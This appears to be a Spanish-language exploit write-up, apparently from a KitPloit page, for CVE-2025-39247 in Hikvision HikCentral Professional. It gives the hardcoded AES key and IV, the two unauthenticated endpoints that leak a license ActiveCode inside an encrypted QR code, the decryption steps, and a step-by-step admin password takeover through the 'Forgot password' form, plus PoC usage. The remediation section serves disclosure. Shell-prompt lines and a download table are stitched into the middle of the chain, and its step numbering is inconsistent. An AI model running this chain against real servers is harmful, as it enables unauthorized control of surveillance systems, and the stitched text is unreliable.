0x1807d1bc6:  48 8d 14 0a             lea    rdx, [rdx+rcx]
0x1807d1bca:  48 8d 0d 2f 22 00 00    lea    rcx, [rip+0x222f]
0x1807d1bd1:  48 03 ca                add    rcx, rdx
0x1807d1bd4:  48 8d 14 0a             lea    rdx, [rdx+rcx]
0x1807d1bd8:  48 8d 0d 21 22 00 00    lea    rcx, [rip+0x2221]
0x1807d1bdf:  48 03 ca                add    rcx, rdx

+0x16, +0x36, +0x17, +0x37, +0x18, +0x38, +0x19, +0x39, −0x10, −0x0F, −0x0E, −0x0D, −0x20, −0x01, −0x1E, −0x1D

root@kitploit:~
Con semilla `0x41` (`'A'`):

| pos | desplazamiento | byte | car |
|---|---|---|---|
| 0 | +22 | 0x57 | `W` |
| 1 | +54 | 0x77 | `w` |
| 2 | +23 | 0x58 | `X` |
| 3 | +55 | 0x78 | `x` |
| 4 | +24 | 0x59 | `Y` |
| 5 | +56 | 0x79 | `y` |
| 6 | +25 | 0x5A | `Z` |
| 7 | +57 | 0x7A | `z` |
| 8 | −16 | 0x31 | `1` |
| 9 | −15 | 0x32 | `2` |
| 10 | −14 | 0x33 | `3` |
| 11 | −13 | 0x34 | `4` |
| 12 | −32 | 0x21 | `!` |
| 13 | −1  | 0x40 | `@` |
| 14 | −30 | 0x23 | `#` |
| 15 | −29 | 0x24 | `$` |

### 10.4 Material criptográfico recuperado```
Algorithm:  AES-128-CBC with PKCS7 padding
IV   (16):  41 61 42 62 43 63 44 64 31 32 33 34 21 40 23 24   →  AaBbCcDd1234!@#$
KEY  (16):  57 77 58 78 59 79 5A 7A 31 32 33 34 21 40 23 24   →  WwXxYyZz1234!@#$

Misma familia aritmética. Mismos 8 bytes finales (1234!@#$). Ambas son constantes incrustadas en binario idénticas en cada instalación de V2.6.2 (y en V2.3.1 .. V2.6.2 y V3.0.0 — comparten la ruta de cifrado QR), por lo que una única recuperación de una copia de platform.dll es suficiente para descifrar el QR de cualquier servidor HCMP vulnerable en la red.


11. Cadena de extremo a extremo

La cadena se divide claramente en dos mitades:

  • Las mitades 1-3 son un problema de divulgación de información no autenticado en HCMP. Se ejecutan contra el objetivo con dos solicitudes de solo lectura y recuperan un secreto por instalación (el ActiveCode de Licencia) desde un endpoint previo al inicio de sesión.
  • Las mitades 4-5 son la toma de control realizada al enviar el ActiveCode recuperado al flujo de trabajo legítimo de "Olvidé mi contraseña" de HCMP a través de la interfaz web normal. No se necesita ninguna solicitud HTTP especial — el operador hace clic en el mismo formulario que lo haría un usuario legítimo.

La división es importante: permite que el PoC de referencia se implemente como una herramienta de reconocimiento pura sin ninguna ruta de código destructiva en ningún lugar (el flujo de trabajo de la interfaz de usuario permanece con intervención humana).``` HALF 1 — automated recon (recovers the ActiveCode):

  1. POST /ISAPI/Bumblebee/Platform/V0/Security/Crypto?MT=GET (empty body) (unauthenticated, read-only) → ResponseStatus.Data.CryptoResponse.{SID, CryptoKey, CryptoType, CryptoMode} → SID is a server-issued anonymous session token used by step 2.

  2. POST /ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode?MT=GET&SID= (empty body, unauthenticated, read-only) → ResponseStatus.Data.QRCode = base64( PNG image of a QR code ) The QR's payload is the URL template https://www.hikvision.com/en/support/how-to/how-to-video/?SN= where = base64( AES-128-CBC-PKCS7( KEY = WwXxYyZz1234!@#$, IV = AaBbCcDd1234!@#$, PT = "License:[,...];DZP:")) The License field is a COMMA-SEPARATED LIST of one or more ActiveCodes (one per licensed module on the target). Any single ActiveCode in that list is accepted by the takeover workflow in HALF 2.

  3. Locally: a. base64-decode the QRCode field → PNG bytes b. decode the QR (e.g. pyzbar) → URL string c. extract the SN= parameter (DO NOT use form-decode — '+' is a valid base64 character that must survive verbatim) d. base64-decode → 16N bytes of AES ciphertext e. AES-128-CBC decrypt with the hardcoded KEY+IV, PKCS7-unpad f. split on "License:" / "," / ";DZP:" → list of ActiveCodes in plaintext.

Descargar herramienta
ArchiveContents
246/Nginx + 246/wwwCapa web de Nginx (la puerta de entrada) y la interfaz de usuario web SPA
244/binBinarios de servicios nativos en C++ + certificados
240PostgreSQL empaquetado + scripts de inicialización de BD
238Entorno de ejecución Bee* (BeeAgent, BeeGuard, …)
282Servicios de aplicación y complementos (la mayor parte del código backend en C++)
281, 283-284, 396, 398-399, 513, 520, 538-541, 573Complementos más pequeños, plugins, stubs de actualización/desinstalación

HALF 2 — manual takeover via the legitimate Web UI:

  1. Open https://: in a browser.
  2. Click «Forgot password».
  3. Username → admin
  4. Recovery method → «Activation code» (NOT email / questions)
  5. Activation code →
  6. Choose & confirm a new admin password.
  7. Log in as admin with the new password.
root@kitploit:~
Sin fuerza bruta, sin ingeniería social, sin conocimiento previo excepto el par KEY+IV de 16 bytes que se puede recuperar una vez desde un `platform.dll` V2.6.2 y es idéntico en cada instalación de cada versión vulnerable. Las mitades 4-10 las realiza manualmente el operador a través de la interfaz de usuario legítima; no hay equivalente automatizado en el PoC de referencia.

Implementación: `poc/cve_2025_39247_poc.py` — un script de Python **solo de reconocimiento**. Realiza la MITAD 1 (dos POST de solo lectura sin autenticación) y luego imprime la receta manual (pasos 4-10) con la URL objetivo del operador y los ActiveCode(s) recuperados completados. El script no contiene código que escriba en el objetivo; la MITAD 2 se realiza manualmente a través de la interfaz web, por lo que la herramienta sigue siendo un instrumento de verificación en lugar de un arma de lanzar y olvidar.

Run:```bash
python3 poc/cve_2025_39247_poc.py https://<TARGET>:<PORT>

Dos flags --qr-* permiten que el script se ejecute completamente sin conexión contra un QR capturado (para análisis sin volver a atacar un objetivo):

  • --qr-scanned-text '<valor>' — pega el contenido de texto de un QR escaneado
  • --qr-ciphertext-hex <hex> — introduce el texto cifrado AES descifrado en base64 previamente extraído

12. Lo que realmente cambió en V2.6.3 (y el Fix-Pack)

DefensaV2.6.2V2.6.3Fix-Pack sobre V2.6.2
Restricción de remote-addr de Nginx en ChangeDefaultUserPasswordausenteañadidaañadida (mediante script de InstallShield en el EXE del Fix-Pack — confirmado por las cadenas \VSM Servers\Web Service\Nginx\conf\nginx_location.conf / _bak.conf dentro del motor de instalación del Fix-Pack)
Verificación literal 127.0.0.1 a nivel de aplicación en el manejadorausenteañadidano añadida (Fix-Pack no parcha platform.dll)
Bloqueo por cuenta (CRetrievePwdByQuesFreezeManager)ausenteañadido (solo admin)no añadido
Paso de validación CheckTokenausenteañadidono añadido
El texto plano del QR contiene License:<ActiveCode>;DZP:...SÍeliminadono cambiado (Fix-Pack no parcha platform.dll)
Clave AES del QRrecuperable desde el binariorotada o no utilizada (depende de si el cambio de formato del texto plano dejó inactiva la ruta)rotada mediante wbaes_key_dec + descifrador de AES de caja blanca en el Fix-Pack
IV AES del QRAaBbCcDd1234!@#$sin cambiossin cambios
Divulgación de información en RetrieveStateInfofiltrasigue filtrandosigue filtrando
GetSecurityQuestionCommBeforeLoginfiltrasigue filtrandosigue filtrando
Instalador vulnerable accesible en CDN de Hikvisionsísísí

El Fix-Pack incluye una pieza móvil extra que la versión V2.6.3 no necesita: un descifrador de AES de caja blanca (wbext_dec.exe, la ruta de origen filtra D:\Workspace\SVN\WhiteBox\trunk\apps\src\ossl_aes.c, usa su propio literal fixed_iv_16byte de IV) más un texto cifrado AES-128-CFB de 244 bytes (wbaes_key_dec). El descifrador toma el blob de texto cifrado y produce una nueva clave en texto plano, que el instalador del Fix-Pack escribe en el almacenamiento de HCMP para rotar la clave QR incrustada en el binario en instalaciones V2.6.2 existentes. AES de caja blanca se usa aquí únicamente para que sea inconveniente extraer la clave rotada del artefacto del parche mediante inspección — la misma técnica defensiva utilizada por los sistemas DRM.


13. Acciones de remediación recomendadas (más allá de los parches publicados)

  1. Elimina los binarios del instalador huérfanos de la CDN. …/vms/hcp-2-6-2/HikCentral-Professional_Full-Pack_V2.6.2.…exe todavía sirve HTTP/2 200 con un acierto de caché perimetral de 29 días. Lo mismo ocurre con V2.6.0, V2.5.1, etc. — todos los instaladores en el rango vulnerable siguen siendo accesibles mediante URL directa. La exclusión a nivel de página es cosmética.
  2. Autentica RetrieveStateInfo y GetSecurityQuestionCommBeforeLogin. Ambos filtran el correo electrónico del administrador y los metadatos de configuración de recuperación a llamadores anónimos también en V2.6.3; ninguno fue modificado por el parche.
  3. Deja de usar constantes ASCII de marcador de posición como material de clave criptográfica. WwXxYyZz1234!@#$ es el tipo de valor que sobrevive a una "revisión de código superficial". Reemplázalo con material aleatorio por instalación en la primera ejecución; si la compatibilidad hacia atrás requiere un respaldo incrustado en el binario, al menos derívalo de un hash del estado específico de la instalación (GUID de la máquina, marca de tiempo de instalación) para que varíe por despliegue.
  4. Trata "la IV no necesita ser secreta" como un arma de doble filo, no una licencia. Mantener la IV literal incluso después de la divulgación es matemáticamente defendible en CBC, pero produce una facilidad innecesaria para el atacante una vez que el diff expone la rotación como solo de clave.
  5. Para la familia de endpoints ChangeDefault*, prefiere un listener de socket de dominio Unix / solo loopback en la capa de aplicación en lugar de una restricción de configuración de Nginx. Un archivo de configuración está a una mala edición de reintroducir el error; un bind 127.0.0.1 en el servicio C++ es estructuralmente más seguro.